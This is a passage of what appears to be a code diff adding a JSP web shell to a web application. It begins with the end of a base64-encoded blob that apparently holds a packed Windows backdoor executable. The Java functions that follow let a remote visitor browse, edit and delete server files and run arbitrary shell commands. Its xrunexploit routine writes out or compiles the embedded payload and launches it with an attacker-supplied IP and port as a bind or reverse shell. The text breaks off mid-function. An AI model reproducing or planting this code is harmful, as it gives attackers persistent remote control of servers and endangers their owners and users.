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";
+String script_name = request.getRequestURI();
+String shell_style = "";
+%><%!
+//################# FUNCTION GOES HERE #######################==============================================]
+public String getSlash(){
+ if(is_win()){
+ return "\\";
+ }
+ return "/";
+}
+public boolean is_win(){
+ if(System.getProperty("os.name").toLowerCase().substring(0,3).equals("win")){
+ return true;
+ }
+ return false;
+}
+public String xcleanpath(String path){
+ if(is_dir(path)){
+ String xSlash = getSlash();
+ if(path!=null && path.length() > 1){
+ while(path.substring(path.length()-1).equals(xSlash)){
+ path = path.substring(0,path.length()-1);
+ }
+ return path + xSlash;
+ }
+ }
+ return path;
+}
+public String urlencode(String str){
+ try{ if(str!=null) return URLEncoder.encode(str); } catch(Exception e){ }
+ return str;
+}
+public String urldecode(String str){
+ try{ if(str!=null) return URLDecoder.decode(str); } catch(Exception e){ }
+ return str;
+}
+public String xparsedir(String dir){
+ String xSlash = "";
+ String xSlash_ = "";
+ if(is_win()){
+ xSlash = "\\";
+ xSlash_ = "\\\\";
+ }
+ else{
+ xSlash = "/";
+ xSlash_ = "/";
+ }
+ String[] dirs = dir.split(xSlash_);
+ StringBuffer buff = new StringBuffer("");
+ StringBuffer dlink = new StringBuffer("");
+ if(!is_win()){
+ dlink.append(urlencode(xSlash));
+ buff.append("" + xSlash + " ");
+ }
+ for(int i=0;i" + d + " " + xSlash + " ");
+ }
+ }
+ return "[ " + buff + " ] ";
+}
+public boolean is_file(String fpath){
+ try{
+ File myfile = new File(fpath);
+ if(myfile.exists() && myfile.isFile()){ return true; }
+ }
+ catch(Exception e){ }
+ return false;
+}
+public boolean is_dir(String fpath){
+ try{
+ File myfile = new File(fpath);
+ if(myfile.exists() && myfile.isDirectory()){ return true; }
+ }
+ catch(Exception e){ }
+ return false;
+}
+public String xparentfolder(String fpath){
+ if(is_dir(fpath)){
+ File myfile = new File(fpath);
+ if(myfile.getParent()!=null) return myfile.getParent();
+ else return fpath;
+ }
+ return fpath;
+}
+public String xfileopen(String fpath){
+ try{
+ StringBuffer content = new StringBuffer("");
+ if(is_file(fpath)){
+ FileInputStream fileinputstream = new FileInputStream(fpath);
+ int numberBytes = fileinputstream.available();
+ byte bytearray[] = new byte[numberBytes];
+ fileinputstream.read(bytearray);
+ for(int i = 0; i < numberBytes; i++){
+ content.append((char) (bytearray[i]));
+ }
+ fileinputstream.close();
+ }
+ return content.toString();
+ }
+ catch (Exception e) {
+ }
+ return "";
+}
+public boolean xfilesave(String fullPath, byte[] bytes){
+ try{
+ OutputStream bufferedOutputStream = new BufferedOutputStream(new FileOutputStream(fullPath));
+ InputStream inputStream = new ByteArrayInputStream(bytes);
+ int token = -1;
+ while((token = inputStream.read()) != -1){
+ bufferedOutputStream.write(token);
+ }
+ bufferedOutputStream.flush();
+ bufferedOutputStream.close();
+ inputStream.close();
+ }
+ catch(Exception e){ return false; }
+ if(is_file(fullPath)){
+ return true;
+ }
+ return false;
+}
+public boolean xfilesave(String fullPath, String text){
+ Writer writer = null;
+ try{
+ File myFile = new File(fullPath);
+ writer = new BufferedWriter(new FileWriter(myFile));
+ writer.write(text);
+ writer.close();
+ }
+ catch (Exception e) { return false; }
+ if(is_file(fullPath)){
+ return true;
+ }
+ return false;
+}
+public void xrmdir(String fdir){
+ File mypath = new File(fdir);
+
+ File[] allitem = mypath.listFiles();
+ for(int i=0;i[ ");
+ letters.append(letter.substring(0,1));
+ letters.append(" ] ");
+ }
+ letters.append(" ");
+ return letters.toString();
+ }
+ return "";
+}
+public String xfilelastmodified(String fpath){
+ if(is_file(fpath) || is_dir(fpath)){
+ File myfile = new File(fpath);
+ return new SimpleDateFormat("dd-MMM-yyyy HH:mm").format(new java.util.Date(myfile.lastModified()));
+ }
+ return "???";
+}
+public String xfilesummary(String fpath){
+ if(is_file(fpath)){
+ return "Filesize : " + xparsefilesize(xfilesize(fpath)) + " ( " + xfilesize(fpath) + " ) :: Permission : " + xfileperms(fpath) + " :: modified : " + xfilelastmodified(fpath);
+ }
+ return "";
+}
+public boolean xrunexploit(String fpath,String base64,String port,String ip){
+ String finals = "";
+ byte[] embrio = b64decode(base64);
+ String tmpdir = xcleanpath(System.getProperty("java.io.tmpdir"));
+ String fname = "";
+ String xpath = "";
+ boolean ok = false;
+ if(is_win()){
+ fname = "bd.exe";
+ xpath = xcleanpath(fpath) + fname;
+ if(is_file(xpath)){
+ File xfile = new File(xpath);
+ xfile.delete();
+
+ }
+ if(!xfilesave(xpath,embrio)){
+ xpath = tmpdir + fname;
+ if(xfilesave(xpath,embrio)) ok = true;
+ }
+ else ok = true;
+
+ if(ok){
+ finals = xpath + " " + port + " " + ip;
+ try {
+ Process p = Runtime.getRuntime().exec(finals);
+ }
+ catch(Exception e) { return false; }
+ return true;
+ }
+ }
+ else {
+ if(!ip.equals("")) fname = "back";
+ else fname = "bind";
+ String ypath = xcleanpath(fpath) + fname;
+ if(is_file(ypath + ".c")){
+ File yfile = new File(xpath + ".c");
+ yfile.delete();
+ }
+ if(!xfilesave(ypath + ".c",embrio)){
+ xpath = tmpdir + fname;
+ if(xfilesave(xpath,embrio)) ok = true;
+ }
+ else ok = true;
+
+ if(ok){
+ ekse("gcc " + ypath + ".c -o " + ypath,fpath );
+ ekse("chmod +x " + ypath,fpath);
+ if(is_file(ypath)){
+ finals = ypath + " " + port + " " + ip;
+ try{
+ Process p = Runtime.getRuntime().exec(finals);
+ }
+ catch(Exception e){ return false; }
+ return true;
+ }
+ else return false;
+ }
+ }
+ return false;
+}
+String ekse(String cmd, String cwd){
+ String[] comm = new String[3];
+ if(!is_win()){
+ comm[0] = "/bin/sh";comm[1] = "-c";comm[2] = cmd;
+ }else{
+ comm[0] = "cmd";comm[1] = "/C";comm[2] = cmd;
+ }
+ StringBuffer ret = new StringBuffer();
+ long start = System.currentTimeMillis();
+ try {
+ Process ls_proc = Runtime.getRuntime().exec(comm, null, new File(cwd));
+ //Get input and error streams
+ BufferedInputStream ls_in = new BufferedInputStream(ls_proc.getInputStream());
+ BufferedInputStream ls_err = new BufferedInputStream(ls_proc.getErrorStream());
+ boolean end = false;
+ while (!end) {
+ int c = 0;
+ while ((ls_err.available() > 0) && (++c <= 1000)) {
+ ret.append((char) ls_err.read());
+ }
+ c = 0;
+ while ((ls_in.available() > 0) && (++c <= 1000)) {
+ ret.append((char) ls_in.read());
+ }
+ try {
+ ls_proc.exitValue();
+ //if the process has not finished, an exception is thrown
+ //else
+ while (ls_err.available() > 0)
+ ret.append((char) ls_err.read());
+ while (ls_in.available() > 0)
+ ret.append((char) ls_in.read());
+ end = true;
+ }
+ catch (IllegalThreadStateException ex) {
+ //Process is running
+ }
+ try {
+ Thread.sleep(50);
+ }
+ catch (InterruptedException ie) {}
+ }
+ }
+ catch (IOException e) {
+ ret.append("Error: " + e);
+ }
+ return ret.toString();
+}
+public String xdir(String fdir){
+ String path = xcleanpath(urldecode(fdir));
+ StringBuffer buff = new StringBuffer("");
+ if(is_dir(path)){
+ File mypath = new File(fdir);
+ ArrayList fname = new ArrayList();
+ ArrayList dname = new ArrayList();
+
+ String[] allitem = mypath.list();
+ for(int i=0;i" +
+ "Filename " +
+ "Filesize " +
+ "Permission " +
+ "Last Modified " +
+ "Action ");
+
+ if (path.length() > 3){
+ String sd = ".";
+ String d = xcleanpath(path);
+ String nextdir = xcleanpath(xparentfolder(d));
+ buff.append("");
+ buff.append("[ "+ sd + " ] ");
+ buff.append("DIR ");
+ buff.append("" + xfileperms(d) + " ");
+ buff.append("" + xfilelastmodified(d) + " ");
+ buff.append("Properties | Remove ");
+ buff.append(" ");
+ sd = "..";
+ d = xcleanpath(xparentfolder(path));
+ nextdir = xcleanpath(xparentfolder(d));
+ buff.append("");
+ buff.append("[ "+ sd + " ] ");
+ buff.append("DIR ");
+ buff.append("" + xfileperms(d) + " ");
+ buff.append("" + xfilelastmodified(d) + " ");
+ buff.append("Properties | Remove ");
+ buff.append(" ");
+ }
+ for(int i=0;i");
+ buff.append("[ "+ sd + " ] ");
+ buff.append("DIR ");
+ buff.append("" + xfileperms(nextdir) + " ");
+ buff.append("" + xfilelastmodified(nextdir) + " ");
+ buff.append("Properties | Remove ");
+ buff.append("");
+ }
+ for(int i=0;i");
+ buff.append("");
+ buff.append(sf + " ");
+ buff.append("" + xparsefilesize(xfilesize(f)) + " ");
+ buff.append("" + xfileperms(f) + " ");
+ buff.append("" + xfilelastmodified(f) + " ");
+ buff.append("Edit | Download | Remove ");
+ buff.append("");
+ }
+ buff.append("
");
+ }
+ return buff.toString();
+}
+public boolean is_numeric(String str){
+ return str.matches("\\d+");
+}
+public void chdir(String directory) {
+ System.setProperty("user.dir",directory);
+}
+public byte[] b64decode(String str){
+ BASE64Decoder myDec = new BASE64Decoder();
+ byte[] decoded = null;
+ try{ decoded = myDec.decodeBuffer(str); }
+ catch(Exception e){ }
+ return decoded;
+}
+public String htmlspecialchars(String scode){
+ StringBuffer sb = new StringBuffer();
+ for(int i=0; i' :sb.append(">");break;
+ case '&' :sb.append("&");break;
+ case '"' :sb.append(""");break;
